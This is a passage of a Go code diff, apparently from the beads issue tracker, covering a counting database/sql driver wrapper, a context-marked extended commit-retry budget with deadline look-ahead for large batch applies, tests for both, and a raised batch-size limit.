(c *wrappedConnector) Driver() driver.Driver { + return &wrappedDriver{inner: c.inner.Driver(), counts: c.counts, opts: c.opts} +} + +// wrappedDriver exists only to satisfy driver.Connector.Driver's return +// type. database/sql calls Driver() for error classification and +// sql.DB.Driver(); this wrapper never uses it to open a second connection +// outside wrappedConnector.Connect. +type wrappedDriver struct { + inner driver.Driver + counts *Counts + opts *options +} + +func (d *wrappedDriver) Open(name string) (driver.Conn, error) { + inner, err := d.inner.Open(name) + if err != nil { + return nil, err + } + return &wrappedConn{inner: inner, counts: d.counts, opts: d.opts}, nil +} + +// sleep injects the configured latency, honoring ctx cancellation. +func (o *options) sleep(ctx context.Context) error { + if o.latency <= 0 { + return nil + } + t := time.NewTimer(o.latency) + defer t.Stop() + select { + case <-t.C: + return nil + case <-ctx.Done(): + return ctx.Err() + } +} + +// wrappedConn wraps a driver.Conn. It implements every optional modern +// interface (ExecerContext, QueryerContext, ConnPrepareContext, +// ConnBeginTx, Pinger, SessionResetter, Validator, NamedValueChecker), +// delegating to the inner connection's implementation when present and +// falling back to the legacy path — or driver.ErrSkip — when not, so +// database/sql's behavior with the wrapper in place matches its behavior +// with the inner driver alone. +// +// NamedValueChecker is always implemented (never omitted) because +// database/sql decides parameter-conversion behavior by checking interface +// satisfaction on the WRAPPER's concrete type, not the inner driver's: +// omitting it here would silently change conversion behavior relative to +// running against the inner driver directly, regardless of what the inner +// driver itself implements. +type wrappedConn struct { + inner driver.Conn + counts *Counts + opts *options +} + +func (c *wrappedConn) Prepare(query string) (driver.Stmt, error) { + atomic.AddInt64(&c.counts.prepare, 1) + inner, err := c.inner.Prepare(query) + if err != nil { + return nil, err + } + return &wrappedStmt{inner: inner, counts: c.counts, opts: c.opts}, nil +} + +func (c *wrappedConn) Close() error { return c.inner.Close() } + +//nolint:staticcheck // legacy driver.Conn.Begin, required by the interface; BeginTx below is preferred when available. +func (c *wrappedConn) Begin() (driver.Tx, error) { + atomic.AddInt64(&c.counts.begin, 1) + inner, err := c.inner.Begin() //nolint:staticcheck + if err != nil { + return nil, err + } + return &wrappedTx{inner: inner, counts: c.counts}, nil +} + +func (c *wrappedConn) PrepareContext(ctx context.Context, query string) (driver.Stmt, error) { + pc, ok := c.inner.(driver.ConnPrepareContext) + if !ok { + return c.Prepare(query) + } + if err := c.opts.sleep(ctx); err != nil { + return nil, err + } + atomic.AddInt64(&c.counts.prepare, 1) + inner, err := pc.PrepareContext(ctx, query) + if err != nil { + return nil, err + } + return &wrappedStmt{inner: inner, counts: c.counts, opts: c.opts}, nil +} + +func (c *wrappedConn) ExecContext(ctx context.Context, query string, args []driver.NamedValue) (driver.Result, error) { + execer, ok := c.inner.(driver.ExecerContext) + if !ok { + return nil, driver.ErrSkip + } + if err := c.opts.sleep(ctx); err != nil { + return nil, err + } + atomic.AddInt64(&c.counts.exec, 1) + return execer.ExecContext(ctx, query, args) +} + +func (c *wrappedConn) QueryContext(ctx context.Context, query string, args []driver.NamedValue) (driver.Rows, error) { + queryer, ok := c.inner.(driver.QueryerContext) + if !ok { + return nil, driver.ErrSkip + } + if err := c.opts.sleep(ctx); err != nil { + return nil, err + } + atomic.AddInt64(&c.counts.query, 1) + return queryer.QueryContext(ctx, query, args) +} + +func (c *wrappedConn) BeginTx(ctx context.Context, txOpts driver.TxOptions) (driver.Tx, error) { + bt, ok := c.inner.(driver.ConnBeginTx) + if !ok { + return c.Begin() + } + if err := c.opts.sleep(ctx); err != nil { + return nil, err + } + atomic.AddInt64(&c.counts.begin, 1) + inner, err := bt.BeginTx(ctx, txOpts) + if err != nil { + return nil, err + } + return &wrappedTx{inner: inner, counts: c.counts}, nil +} + +func (c *wrappedConn) Ping(ctx context.Context) error { + if p, ok := c.inner.(driver.Pinger); ok { + return p.Ping(ctx) + } + return nil +} + +func (c *wrappedConn) ResetSession(ctx context.Context) error { + if r, ok := c.inner.(driver.SessionResetter); ok { + return r.ResetSession(ctx) + } + return nil +} + +func (c *wrappedConn) IsValid() bool { + if v, ok := c.inner.(driver.Validator); ok { + return v.IsValid() + } + return true +} + +func (c *wrappedConn) CheckNamedValue(nv *driver.NamedValue) error { + if chk, ok := c.inner.(driver.NamedValueChecker); ok { + return chk.CheckNamedValue(nv) + } + return driver.ErrSkip +} + +// wrappedStmt wraps a driver.Stmt the same way wrappedConn wraps a +// driver.Conn: delegate to a modern optional interface when the inner +// statement implements it, else fall back to the legacy path, and always +// implement NamedValueChecker for the reason documented on wrappedConn. +type wrappedStmt struct { + inner driver.Stmt + counts *Counts + opts *options +} + +func (s *wrappedStmt) Close() error { return s.inner.Close() } +func (s *wrappedStmt) NumInput() int { return s.inner.NumInput() } + +//nolint:staticcheck // legacy driver.Stmt.Exec, required by the interface and used as the ExecContext fallback below. +func (s *wrappedStmt) Exec(args []driver.Value) (driver.Result, error) { + atomic.AddInt64(&s.counts.stmtExec, 1) + return s.inner.Exec(args) //nolint:staticcheck +} + +//nolint:staticcheck // legacy driver.Stmt.Query, required by the interface and used as the QueryContext fallback below. +func (s *wrappedStmt) Query(args []driver.Value) (driver.Rows, error) { + atomic.AddInt64(&s.counts.stmtQuery, 1) + return s.inner.Query(args) //nolint:staticcheck +} + +func (s *wrappedStmt) ExecContext(ctx context.Context, args []driver.NamedValue) (driver.Result, error) { + if err := s.opts.sleep(ctx); err != nil { + return nil, err + } + if se, ok := s.inner.(driver.StmtExecContext); ok { + atomic.AddInt64(&s.counts.stmtExec, 1) + return se.ExecContext(ctx, args) + } + dargs, err := namedToOrdinal(args) + if err != nil { + return nil, err + } + atomic.AddInt64(&s.counts.stmtExec, 1) + return s.inner.Exec(dargs) //nolint:staticcheck +} + +func (s *wrappedStmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driver.Rows, error) { + if err := s.opts.sleep(ctx); err != nil { + return nil, err + } + if sq, ok := s.inner.(driver.StmtQueryContext); ok { + atomic.AddInt64(&s.counts.stmtQuery, 1) + return sq.QueryContext(ctx, args) + } + dargs, err := namedToOrdinal(args) + if err != nil { + return nil, err + } + atomic.AddInt64(&s.counts.stmtQuery, 1) + return s.inner.Query(dargs) //nolint:staticcheck +} + +func (s *wrappedStmt) CheckNamedValue(nv *driver.NamedValue) error { + if chk, ok := s.inner.(driver.NamedValueChecker); ok { + return chk.CheckNamedValue(nv) + } + return driver.ErrSkip +} + +// namedToOrdinal converts modern named-value args back to the legacy +// ordinal-positioned driver.Value slice Exec/Query take, for an inner +// statement that implements neither StmtExecContext nor StmtQueryContext. +// Every driver this wrapper targets (mysql, dolthub/driver) implements the +// modern interfaces, so this path is exercised only as a defensive +// fallback, never in the measured code path. +func namedToOrdinal(args []driver.NamedValue) ([]driver.Value, error) { + out := make([]driver.Value, len(args)) + for _, a := range args { + if a.Name != "" { + return nil, fmt.Errorf("sqlcount: named parameter %q not supported by the wrapped driver's legacy Exec/Query", a.Name) + } + if a.Ordinal < 1 || a.Ordinal > len(args) { + return nil, fmt.Errorf("sqlcount: parameter ordinal %d out of range for %d args", a.Ordinal, len(args)) + } + out[a.Ordinal-1] = a.Value + } + return out, nil +} + +// wrappedTx wraps a driver.Tx purely to count Commit/Rollback; it does not +// change the transaction's behavior. +type wrappedTx struct { + inner driver.Tx + counts *Counts +} + +func (t *wrappedTx) Commit() error { + atomic.AddInt64(&t.counts.commit, 1) + return t.inner.Commit() +} + +func (t *wrappedTx) Rollback() error { + atomic.AddInt64(&t.counts.rollback, 1) + return t.inner.Rollback() +} diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index 1a98ccda7..276d3f2e5 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -80,6 +80,7 @@ go_library( go_test( name = "uow_test", srcs = [ + "batch_applier_retry_budget_test.go", "batch_apply_contract_test.go", "batch_closer_contract_test.go", "batch_creator_contract_test.go", diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index 1c8d0033f..aba391947 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -5,6 +5,7 @@ import ( "encoding/json" "fmt" "sort" + "time" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/domain" @@ -40,6 +41,69 @@ func NewBatchApplier(provider UnitOfWorkProvider) (publicops.BatchApplier, error var _ publicops.BatchApplier = (*batchApplier)(nil) +// retryTxAttemptHeadroom is reserved off the top of an extended retry budget +// so the FINAL retry attempt still has room to run to completion before the +// caller's own context deadline arrives. Without it, an extended budget +// computed as exactly "whatever's left on ctx" could let backoff start one +// more attempt a moment before ctx expires: that attempt is then killed +// mid-transaction by ctx cancellation, turning a write that may have been +// about to succeed into a context-deadline-exceeded error (classified +// non-retryable, a 500) instead of a clean retry-budget exhaustion (a +// reported, retryable write conflict). The retry loop's OWN loser case +// already reports correctly (uow.RunTxResultWithin's IsSerializationError +// contract) — this headroom exists only to make ctx cancellation not race it. +const retryTxAttemptHeadroom = 5 * time.Second + +// retryTxMinBudget is the floor retryTxBudget returns for a MARKED context +// whose remaining deadline (after subtracting retryTxAttemptHeadroom) is too +// small to be a useful retry budget on its own — e.g. an operator-configured +// --large-apply-ceiling set close to expiry, or a request nearly at its own +// deadline. It deliberately does NOT fall back to DefaultTxRetryMaxElapsed +// (15s): claiming a 15s retry budget when ctx itself has only a second or two +// left would be misleading busywork, since ctx cancellation via +// backoff.WithContext ends the loop at its own deadline regardless of what +// MaxElapsedTime says. A small positive floor just guarantees backoff.Retry's +// unconditional first attempt (and typically one quick retry) rather than a +// degenerate zero-or-negative MaxElapsedTime, which the backoff library +// treats as "never stop on elapsed time" — the opposite of what a +// nearly-expired budget should mean. +const retryTxMinBudget = time.Second + +// retryTxBudget picks ApplyBatch's commit-retry budget. It returns exactly +// DefaultTxRetryMaxElapsed unless ctx was marked by +// issueops.WithExtendedRetryBudget, which only internal/httpapi's +// admitLargeApply does, for a request over the large-apply item threshold. +// +// A version of this fix that instead scaled to "any sufficiently long +// ctx.Deadline()" was wrong: an ORDINARY request also carries a real +// deadline (internal/httpapi's requestDeadline, 60s), and that heuristic +// silently raised every ordinary request's retry ceiling from 15s to up to +// 60s. Gating on the explicit marker keeps ordinary requests at EXACTLY the +// pre-existing 15s ceiling, and extends only the path that intentionally +// asked for more room: an over-threshold request gets a context deadline of +// up to its own largeApplyCeiling (5 minutes by default) precisely so a +// genuinely large, slow-to-commit write has room to run — but a Dolt +// commit-time merge conflict on it would otherwise still give up retrying at +// 15s, with minutes of that budget sitting unused. +// +// retryTxAttemptHeadroom is subtracted from the remaining deadline so the +// scaled budget never lets the last attempt start too late to finish; ctx +// cancellation via backoff.WithContext is still the final backstop either +// way, so this can never let a request run past the deadline it already had. +func retryTxBudget(ctx context.Context) time.Duration { + if !publicops.HasExtendedRetryBudget(ctx) { + return DefaultTxRetryMaxElapsed + } + deadline, ok := ctx.Deadline() + if !ok { + return DefaultTxRetryMaxElapsed + } + if budget := time.Until(deadline) - retryTxAttemptHeadroom; budget > retryTxMinBudget { + return budget + } + return retryTxMinBudget +} + // ApplyBatch applies every item in ONE unit of work and commits them together. // // THIS LEG IS A GENUINELY INDEPENDENT BODY, unlike the third leg of MetadataCAS @@ -68,7 +132,7 @@ func (o *batchApplier) ApplyBatch(ctx context.Context, request publicops.ApplyBa if err != nil { return publicops.ApplyBatchResult{}, err } - return RunTxResult(ctx, o.provider, func(ctx context.Context, uw UnitOfWork) (publicops.ApplyBatchResult, string, error) { + return RunTxResultWithin(ctx, o.provider, retryTxBudget(ctx), func(ctx context.Context, uw UnitOfWork) (publicops.ApplyBatchResult, string, error) { run := &uowApplyRun{ plan: plan, uw: uw, diff --git a/internal/storage/uow/batch_applier_retry_budget_test.go b/internal/storage/uow/batch_applier_retry_budget_test.go new file mode 100644 index 000000000..6df44c1a1 --- /dev/null +++ b/internal/storage/uow/batch_applier_retry_budget_test.go @@ -0,0 +1,192 @@ +package uow + +import ( + "context" + "sync/atomic" + "testing" + "time" + + "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" +) + +// TestRetryTxBudgetScalesToRemainingDeadline pins the fix for a large apply's +// retry budget: RunTxResult's hardcoded 15s ceiling must not silently disable +// retries for the bulk of a large apply's own (much longer) context deadline +// — but ONLY on the path that explicitly asks for that (marked via +// publicops.WithExtendedRetryBudget). An ordinary request's context also +// carries a real deadline (60s); an earlier version of this fix scaled the +// budget to ANY sufficiently long remaining deadline and silently raised +// ordinary requests from 15s to up to 60s of retrying. That regression is +// exactly what the unmarked subtests below pin against. +func TestRetryTxBudgetScalesToRemainingDeadline(t *testing.T) { + t.Run("no deadline, no marker gets the default", func(t *testing.T) { + got := retryTxBudget(context.Background()) + if got != DefaultTxRetryMaxElapsed { + t.Errorf("retryTxBudget(no deadline) = %s, want %s", got, DefaultTxRetryMaxElapsed) + } + }) + + t.Run("a deadline shorter than the default never shrinks the budget when unmarked", func(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), time.Second) + defer cancel() + got := retryTxBudget(ctx) + if got != DefaultTxRetryMaxElapsed { + t.Errorf("retryTxBudget(1s deadline) = %s, want %s (never below the default when unmarked)", got, DefaultTxRetryMaxElapsed) + } + }) + + t.Run("an UNMARKED long deadline (an ordinary request's own 60s) stays at exactly the default", func(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 60*time.Second) + defer cancel() + got := retryTxBudget(ctx) + if got != DefaultTxRetryMaxElapsed { + t.Errorf("retryTxBudget(60s deadline, unmarked) = %s, want exactly %s (an ordinary request must not retry longer just because its ctx happens to have a deadline)", got, DefaultTxRetryMaxElapsed) + } + }) + + t.Run("a MARKED deadline far past the default extends the budget to match it, minus attempt headroom", func(t *testing.T) { + const ceiling = 5 * time.Minute + ctx, cancel := context.WithTimeout(context.Background(), ceiling) + defer cancel() + ctx = publicops.WithExtendedRetryBudget(ctx) + got := retryTxBudget(ctx) + want := ceiling - retryTxAttemptHeadroom + const slack = 2 * time.Second + if got < want-slack || got > want { + t.Errorf("retryTxBudget(%s deadline, marked) = %s, want ~%s (extended to match a large apply's own run budget, minus headroom for the final attempt)", ceiling, got, want) + } + }) + + t.Run("a MARKED deadline too close to expiry to leave attempt headroom floors at retryTxMinBudget, not the 15s default", func(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) + defer cancel() + ctx = publicops.WithExtendedRetryBudget(ctx) + got := retryTxBudget(ctx) + if got != retryTxMinBudget { + t.Errorf("retryTxBudget(3s deadline, marked) = %s, want %s (too little headroom to extend; claiming the full 15s default here would be misleading since ctx cancellation ends the loop first regardless)", got, retryTxMinBudget) + } + }) +} + +// alwaysSerializationErrorProvider fails EVERY NewUOW call with a retryable +// serialization error, so a caller through RunTxResultWithin never reaches +// the work function at all. That is what makes it cheap: proving ApplyBatch +// itself (not just the retryTxBudget helper) actually wires retryTxBudget's +// return value into RunTxResultWithin needs no real domain use cases — +// issueops.BatchApplier's huge UnitOfWork surface is never touched, because +// NewUOW itself is the thing failing. +type alwaysSerializationErrorProvider struct { + calls atomic.Int32 +} + +func (p *alwaysSerializationErrorProvider) NewUOW(context.Context) (UnitOfWork, error) { + p.calls.Add(1) + return nil, newMySQLError(1213) // deadlock: uow.isSerializationError's retryable case +} + +func (p *alwaysSerializationErrorProvider) Close(context.Context) error { return nil } + +// minimalValidApplyBatchRequest is the smallest request storage.PlanApplyBatch +// accepts: one actor, one create item. It is never actually applied in the +// tests below — alwaysSerializationErrorProvider fails before uowApplyRun.apply +// ever runs — so its content only has to pass static plan validation. +func minimalValidApplyBatchRequest() publicops.ApplyBatchRequest { + return publicops.ApplyBatchRequest{ + Actor: "tester", + Items: []publicops.ApplyItem{ + { + Kind: publicops.ItemCreate, + Create: &publicops.CreateItem{ + Issue: &types.Issue{ + Title: "retry budget wiring probe", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + }, + }, + }, + }, + } +} + +// TestApplyBatchHonorsAnExtendedRetryBudgetFromContext tests ApplyBatch +// ITSELF, not just the retryTxBudget helper — the gap the coordinator's +// review flagged: a mutation that hardcodes ApplyBatch's call to +// RunTxResultWithin(ctx, o.provider, DefaultTxRetryMaxElapsed, ...) instead of +// retryTxBudget(ctx) passed every existing test, because nothing exercised +// ApplyBatch with a marked context and actually observed which budget +// governed the retry loop. +// +// Both subtests share the SAME 2-second outer ctx deadline, so a mutation +// that ignores the marker makes them behave IDENTICALLY: +// +// - unmarked: retryTxBudget must return the full 15s default. Since 15s +// vastly exceeds the 2s ctx deadline, ctx's OWN cancellation ends the +// loop first, so the observed error is ctx's DeadlineExceeded, never a +// serialization error, and it takes close to the full 2s. +// - marked: retryTxBudget must return retryTxMinBudget (1s, per the +// "too close to expiry to extend" case above, since 2s of remaining +// deadline is less than retryTxAttemptHeadroom). That 1s budget is +// SHORTER than the 2s ctx deadline, so the retry loop exhausts on its +// own well under 2s, and the observed error is the serialization error +// itself. +// +// If ApplyBatch ignored retryTxBudget's return value and always used the 15s +// default, the marked case would look exactly like the unmarked one: it +// would run nearly the full 2s and end on ctx's DeadlineExceeded instead of +// exhausting fast on the serialization error, and this test would fail. +func TestApplyBatchHonorsAnExtendedRetryBudgetFromContext(t *testing.T) { + const outerDeadline = 2 * time.Second + + t.Run("unmarked: the 15s default outlasts the 2s ctx, so ctx itself ends the loop", func(t *testing.T) { + provider := &alwaysSerializationErrorProvider{} + applier, err := NewBatchApplier(provider) + if err != nil { + t.Fatalf("NewBatchApplier: %v", err) + } + ctx, cancel := context.WithTimeout(context.Background(), outerDeadline) + defer cancel() + + start := time.Now() + _, err = applier.ApplyBatch(ctx, minimalValidApplyBatchRequest()) + elapsed := time.Since(start) + + if err == nil { + t.Fatal("expected an error: NewUOW never succeeds") + } + if IsSerializationError(err) { + t.Errorf("err = %v is a serialization error; want ctx's own DeadlineExceeded, because the 15s default budget should still be governing and outlast this 2s ctx", err) + } + if elapsed < 1500*time.Millisecond { + t.Errorf("elapsed = %s, want close to %s: the loop ended too early for the 15s default to have been the governing budget", elapsed, outerDeadline) + } + if provider.calls.Load() < 2 { + t.Errorf("NewUOW calls = %d, want several retries before ctx ended the loop", provider.calls.Load()) + } + }) + + t.Run("marked: the too-short-to-extend 1s floor governs and exhausts well under the 2s ctx", func(t *testing.T) { + provider := &alwaysSerializationErrorProvider{} + applier, err := NewBatchApplier(provider) + if err != nil { + t.Fatalf("NewBatchApplier: %v", err) + } + ctx, cancel := context.WithTimeout(publicops.WithExtendedRetryBudget(context.Background()), outerDeadline) + defer cancel() + + start := time.Now() + _, err = applier.ApplyBatch(ctx, minimalValidApplyBatchRequest()) + elapsed := time.Since(start) + + if err == nil { + t.Fatal("expected an error: NewUOW never succeeds") + } + if !IsSerializationError(err) { + t.Errorf("err = %v, want the last serialization failure itself: an exhausted retry budget, not ctx cancellation", err) + } + if elapsed > 1500*time.Millisecond { + t.Errorf("elapsed = %s, want well under %s: the marked path's ~1s floor should have governed, not the 2s outer ctx", elapsed, outerDeadline) + } + }) +} diff --git a/internal/storage/uow/tx.go b/internal/storage/uow/tx.go index ba7e6af6e..35cb0a94c 100644 --- a/internal/storage/uow/tx.go +++ b/internal/storage/uow/tx.go @@ -8,6 +8,7 @@ import ( "github.com/steveyegge/beads/internal/storage/domain/db" "github.com/steveyegge/beads/internal/storage/issueops" + publicops "github.com/steveyegge/beads/issueops" ) type Tx interface { @@ -86,11 +87,63 @@ func RunTxResultWithin[T any](ctx context.Context, p UnitOfWorkProvider, maxElap bo.InitialInterval = txRetryInitialInterval bo.MaxElapsedTime = maxElapsed + // lastAttemptDuration and lastErr let the loop decide, BEFORE starting a + // new attempt, whether there is realistically enough time left to finish + // one. maxElapsed is a BUDGET fixed once at the top of the call; it says + // nothing about how long any individual attempt actually takes. A slow + // attempt (a large apply's commit can run well past a minute) can lose + // the race against ctx's own absolute deadline mid-transaction: the retry + // loop would start another attempt because elapsed-so-far is still under + // maxElapsed, that attempt gets killed by ctx cancellation partway + // through, and the caller sees context.DeadlineExceeded — classified a + // generic 500 — instead of the exhausted-write-conflict outcome this loop + // already reports correctly when it gives up for its own reasons + // (classified a retryable 503). Comparing the time left to the PREVIOUS + // attempt's own duration is a cheap, evidence-based stand-in for + // predicting the next one, since a Dolt commit's cost is driven by the + // same plan on every attempt. + // + // This look-ahead is gated on publicops.HasExtendedRetryBudget(ctx), the + // same marker retryTxBudget itself checks, and for the same reason: an + // ordinary (unmarked) caller's attempts are cheap, and its ctx deadline + // is meant to be the thing that ends the loop — see + // TestApplyBatchHonorsAnExtendedRetryBudgetFromContext's "unmarked" + // case. Applying this check unconditionally would fire for those callers + // too: retryTxAttemptHeadroom is sized for a large apply's multi-minute + // commits, so for a near-instant failing attempt it would treat almost + // any ctx with less than retryTxAttemptHeadroom left as too tight, + // cutting the loop short well before ctx's own deadline and turning what + // should be ctx's DeadlineExceeded into a serialization error instead. + // Scoping this to the extended-budget (large apply) path keeps ordinary + // callers' retry-until-ctx-ends-it behavior exactly as before. + var lastAttemptDuration time.Duration + var lastErr error + haveAttempted := false + lookAhead := publicops.HasExtendedRetryBudget(ctx) + err := backoff.Retry(func() error { + if haveAttempted && lookAhead { + if deadline, ok := ctx.Deadline(); ok && time.Until(deadline) < lastAttemptDuration+retryTxAttemptHeadroom { + // A retry this long would almost certainly be cut off by + // ctx's own deadline rather than finish and report its own + // outcome. Stop now and surface the LAST attempt's real + // error — still a retryable conflict — rather than start a + // doomed attempt that ends in ctx.Err(). + return backoff.Permanent(lastErr) + } + } + attemptStart := time.Now() + fail := func(err error) error { + lastAttemptDuration = time.Since(attemptStart) + lastErr = err + haveAttempted = true + return err + } + uw, err := p.NewUOW(ctx) if err != nil { if isSerializationError(err) { - return err + return fail(err) } return backoff.Permanent(err) } @@ -99,7 +152,7 @@ func RunTxResultWithin[T any](ctx context.Context, p UnitOfWorkProvider, maxElap r, commitMsg, err := work(ctx, uw) if err != nil { if isSerializationError(err) { - return err + return fail(err) } return backoff.Permanent(err) } @@ -115,7 +168,7 @@ func RunTxResultWithin[T any](ctx context.Context, p UnitOfWorkProvider, maxElap return nil } if isSerializationError(err) { - return err + return fail(err) } return backoff.Permanent(err) } diff --git a/internal/storage/uow/tx_test.go b/internal/storage/uow/tx_test.go index 61bd9d013..0e3f3ac8a 100644 --- a/internal/storage/uow/tx_test.go +++ b/internal/storage/uow/tx_test.go @@ -10,11 +10,17 @@ import ( "github.com/go-sql-driver/mysql" "github.com/steveyegge/beads/internal/storage/domain" + publicops "github.com/steveyegge/beads/issueops" ) // mockUnitOfWork implements UnitOfWork for testing type mockUnitOfWork struct { - commitErr error + commitErr error + // commitDelay, when set, is slept inside Commit before returning + // commitErr — lets a test simulate an attempt that takes real wall-clock + // time to fail (a slow commit racing a context deadline), as opposed to + // commitErr alone, which fails instantly. + commitDelay time.Duration commitCount int closed bool configUseCase domain.ConfigUseCase @@ -36,6 +42,9 @@ func (m *mockUnitOfWork) Close(ctx context.Context) { func (m *mockUnitOfWork) Commit(ctx context.Context, message string) error { m.commitCount++ + if m.commitDelay > 0 { + time.Sleep(m.commitDelay) + } return m.commitErr } @@ -503,6 +512,90 @@ func TestRunTx_NewUOWError(t *testing.T) { } } +// TestRunTxResultWithin_SlowAttemptStopsBeforeADoomedRetry pins the fix for +// the gap bee's live 1000-item run exposed: retryTxBudget / maxElapsed is a +// BUDGET fixed once at the top of the call, and says nothing about how long +// any one attempt actually takes. Before this fix, a slow failing attempt +// (its commit loses Dolt's merge after running most of the remaining ctx +// deadline) still triggered a retry whenever elapsed-so-far was under +// maxElapsed — and that retry then got killed mid-transaction by ctx's own +// deadline, surfacing as context.DeadlineExceeded (an internal-httpapi +// isUnavailable() miss -> a generic 500) instead of the exhausted-write- +// conflict outcome this loop already reports correctly when IT gives up +// (uow.IsSerializationError -> httpapi maps that to 503 + Retry-After). +// +// The first attempt's commit sleeps 1.2s (over half the 2s ctx) before +// failing with a retryable deadlock; with retryTxAttemptHeadroom (5s) added +// on top, the ~0.8s left after that attempt can never cover another attempt +// of similar cost, so the loop must stop WITHOUT trying uw2 at all and return +// uw1's own serialization error. +// +// The look-ahead this pins is gated on publicops.HasExtendedRetryBudget, the +// same marker retryTxBudget checks (see that gate's comment in tx.go), so +// this ctx must carry it — an unmarked ctx would skip the new check entirely +// and this test would regress to asserting old, unfixed behavior. +func TestRunTxResultWithin_SlowAttemptStopsBeforeADoomedRetry(t *testing.T) { + uw1 := &mockUnitOfWork{commitErr: newMySQLError(1213), commitDelay: 1200 * time.Millisecond} + uw2 := &mockUnitOfWork{} + provider := &mockUnitOfWorkProvider{uows: []*mockUnitOfWork{uw1, uw2}} + + ctx, cancel := context.WithTimeout(publicops.WithExtendedRetryBudget(context.Background()), 2*time.Second) + defer cancel() + + _, err := RunTxResultWithin(ctx, provider, 10*time.Second, func(ctx context.Context, uw UnitOfWork) (struct{}, string, error) { + return struct{}{}, "slow attempt probe", nil + }) + + if err == nil { + t.Fatal("expected an error: the only attempt tried fails on commit") + } + if !IsSerializationError(err) { + t.Errorf("err = %v, want uw1's own serialization error (-> 503 Retry-After); a ctx-cancellation error here would be the regression (-> a generic 500)", err) + } + if errors.Is(err, context.DeadlineExceeded) { + t.Errorf("err = %v wraps context.DeadlineExceeded: a doomed second attempt was started and got cut off by ctx instead of being skipped", err) + } + if provider.newUOWCalls != 1 { + t.Errorf("NewUOW calls = %d, want exactly 1: a second attempt was started even though it could not have finished before ctx's deadline", provider.newUOWCalls) + } + if uw2.commitCount != 0 { + t.Errorf("uw2.commitCount = %d, want 0: uw2 must never be reached", uw2.commitCount) + } +} + +// TestRunTxResultWithin_ShortAttemptStillRetries is +// TestRunTxResultWithin_SlowAttemptStopsBeforeADoomedRetry's control: when the +// failing attempt is fast relative to what's left on ctx, the new +// look-before-you-retry check must not block the retry that would otherwise +// succeed. +func TestRunTxResultWithin_ShortAttemptStillRetries(t *testing.T) { + uw1 := &mockUnitOfWork{commitErr: newMySQLError(1213), commitDelay: 50 * time.Millisecond} + uw2 := &mockUnitOfWork{} + provider := &mockUnitOfWorkProvider{uows: []*mockUnitOfWork{uw1, uw2}} + + // 8s comfortably exceeds retryTxAttemptHeadroom (5s) by more than the 50ms + // first attempt costs, so the real-time budget this test takes is + // governed by how fast the two attempts actually run (well under a + // second), not by this deadline. Marked for the same reason as the slow- + // attempt test above: the look-ahead only runs when this marker is set. + ctx, cancel := context.WithTimeout(publicops.WithExtendedRetryBudget(context.Background()), 8*time.Second) + defer cancel() + + _, err := RunTxResultWithin(ctx, provider, 15*time.Second, func(ctx context.Context, uw UnitOfWork) (struct{}, string, error) { + return struct{}{}, "short attempt probe", nil + }) + + if err != nil { + t.Fatalf("expected no error after retry, got %v", err) + } + if provider.newUOWCalls < 2 { + t.Errorf("NewUOW calls = %d, want at least 2: a short failed attempt must still be retried", provider.newUOWCalls) + } + if uw2.commitCount != 1 { + t.Errorf("uw2.commitCount = %d, want 1", uw2.commitCount) + } +} + func TestRunTx_WorkSerializationErrorRetries(t *testing.T) { // Work function itself returns serialization error (not commit) uw1 := &mockUnitOfWork{} diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index 0af723de1..8eff362fb 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -412,11 +412,65 @@ func (e *RefError) Error() string { func (e *RefError) Unwrap() error { return ErrValidation } // MaxApplyBatchItems is the largest request this role accepts. It is a FLAT -// bound rather than a cost model, and it is the bound the sibling batch roles -// already run under: a hundred creates and a hundred edges both land inside the -// server's ordinary request deadline today, so a per-item deadline extension -// would be new machinery answering a question nothing has asked. -const MaxApplyBatchItems = 100 +// bound rather than a cost model: ApplyBatchInTx issues roughly one round +// trip per item resolution plus a handful more per item's own writes, so the +// bound is really a bound on how long one request may hold a single write +// transaction open, not on batch semantics (which have no size in them). +// +// Raised from 100 to 1000: measured real-world plans — +// mol-normalized-issue-pr-work-v1, the largest observed shape at 356 items — +// already exceed the old 100-item bound, and 1000 is roughly 2.8x that +// measured max. The old doc comment claimed a hundred items "land inside the +// server's ordinary request deadline"; that is no longer the bound above 100 +// items. Instead, the HTTP edge (internal/httpapi) grants a request over 100 +// items a separate, EXTENDED whole-run budget (an operator-configured +// ceiling, `bd serve --large-apply-ceiling`, 5 minutes by default) rather +// than a value scaled by item count, takes a one-wide "large write" semaphore +// once a request exceeds the old 100-item threshold (so at most one +// oversized transaction holds a write connection at a time), and advertises +// all of this via the issues.batchApplyLarge capability token so a caller +// can tell whether the server it is talking to supports the raised cap +// before sending a request that size. +// +// The role itself still enforces no per-item cost model and still runs the +// WHOLE plan as ONE transaction no matter its size — raising this bound does +// not, and must never, change ApplyBatchInTx into something that chunks a +// plan into multiple transactions. A request either commits in full or +// changes nothing. +const MaxApplyBatchItems = 1000 + +// extendedRetryBudgetKey is the unexported key WithExtendedRetryBudget and +// HasExtendedRetryBudget share. +type extendedRetryBudgetKey struct{} + +// WithExtendedRetryBudget marks ctx as belonging to a large batch-apply whose +// commit-retry loop should be allowed to scale with the request's own +// extended run budget, instead of the ordinary fixed retry ceiling every +// other write uses. +// +// This exists because a BatchApplier implementation's commit-retry budget +// (internal/storage/uow's DefaultTxRetryMaxElapsed, 15s) must NOT change for +// an ordinary request just because deriving it from "whatever's left on +// ctx.Deadline()" would be simpler: an ordinary request's context also +// carries a real deadline (internal/httpapi's requestDeadline, 60s), and +// naively extending the retry budget to match ANY sufficiently long +// remaining deadline silently changed ordinary requests from a 15s retry +// ceiling to up to 60s — a regression an earlier version of this fix +// introduced. Marking the context explicitly, only on the one path +// (internal/httpapi's admitLargeApply) that intentionally grants a request an +// extended run budget, keeps the two concerns independent: an implementation +// reads HasExtendedRetryBudget to decide WHETHER to 